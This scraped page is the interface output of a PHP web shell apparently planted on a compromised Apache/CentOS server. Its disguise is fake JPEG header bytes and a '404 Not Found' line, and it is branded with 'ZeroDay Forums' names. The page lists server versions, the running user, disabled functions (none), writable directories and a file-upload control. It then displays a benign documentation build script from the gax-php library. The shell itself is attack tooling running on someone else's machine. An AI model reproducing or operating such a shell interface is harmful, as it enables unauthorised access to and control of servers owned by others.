����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/st2/vendor/google/gax/dev/sh/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/st2/vendor/google/gax/dev/sh/build-docs.sh
#!/bin/bash

# Script to build doc site.
# This script expects to be invoked from the gax-php root.
#
# This script will look for the TRAVIS_TAG cenvironment variable, and
# use that as the version number. If no environment variable is found,
# it will use the first command line argument. If no command line
# argument is specified, default to 'master'.

set -ev

ROOT_DIR=$(pwd)
DOC_OUTPUT_DIR=${ROOT_DIR}/tmp_gh-pages
INDEX_FILE=${DOC_OUTPUT_DIR}/index.html
VERSION_FILE=${ROOT_DIR}/VERSION
PROTO_CLIENT_PHP_DIR=${ROOT_DIR}/proto-client-php
SAMI_EXECUTABLE=${ROOT_DIR}/vendor/sami/sami/sami.php
SAMI_CONFIG=${ROOT_DIR}/dev/src/Docs/sami-config.php

# Construct the base index file that redirects to the latest version
# of the docs. This will only be generated when TRAVIS_TAG is set.
UPDATED_INDEX_FILE=$(cat << EndOfMessage
<html><head><script>window.location.replace('/gax-php/${TRAVIS_TAG}/' + location.hash.substring(1))</script></head><body></body></html>
EndOfMessage
)

function checkVersionFile() {
  # Verify that the specified version matches the contents
  # of the VERSION file.
  VERSION_FILE_CONTENTS="$(cat ${VERSION_FILE})"
  if [ ${VERSION_FILE_CONTENTS} != ${1} ]; then
    echo ERROR: mismatched versions
    echo Expected version: ${1}
    echo VERSION file: ${VERSION_FILE_CONTENTS}
    exit 1
  fi
}

function buildDocs() {
  DOCS_VERSION_TO_BUILD=${1}

  # Include the contents of proto-client-php in the doc site
  # as a temporary measure until protobuf files are moved to
  # google-cloud-php.
  if [ -d "${PROTO_CLIENT_PHP_DIR}" ]; then
    echo ERROR: proto-client-php directory already exists
    exit 1
  fi
  git clone https://github.com/googleapis/proto-client-php.git ${PROTO_CLIENT_PHP_DIR}

  API_CORE_DOCS_VERSION=${DOCS_VERSION_TO_BUILD} php ${SAMI_EXECUTABLE} update ${SAMI_CONFIG} -v

  # Clean up after doc gen completes
  rm -rf ${PROTO_CLIENT_PHP_DIR}
}

if [[ ! -z ${TRAVIS_TAG} ]]; then
  checkVersionFile ${TRAVIS_TAG}
  buildDocs ${TRAVIS_TAG}
  # Update the redirect index file only for builds that use the
  # TRAVIS_TAG env variable.
  echo ${UPDATED_INDEX_FILE} > ${INDEX_FILE}
else
  if [[ ! -z ${1} ]]; then
    DOCS_VERSION_TO_BUILD=${1}
  else
    # If no command line arg is specified, default to 'master'
    DOCS_VERSION_TO_BUILD=master
  fi
  buildDocs ${DOCS_VERSION_TO_BUILD}
fi

ZeroDay Forums Mini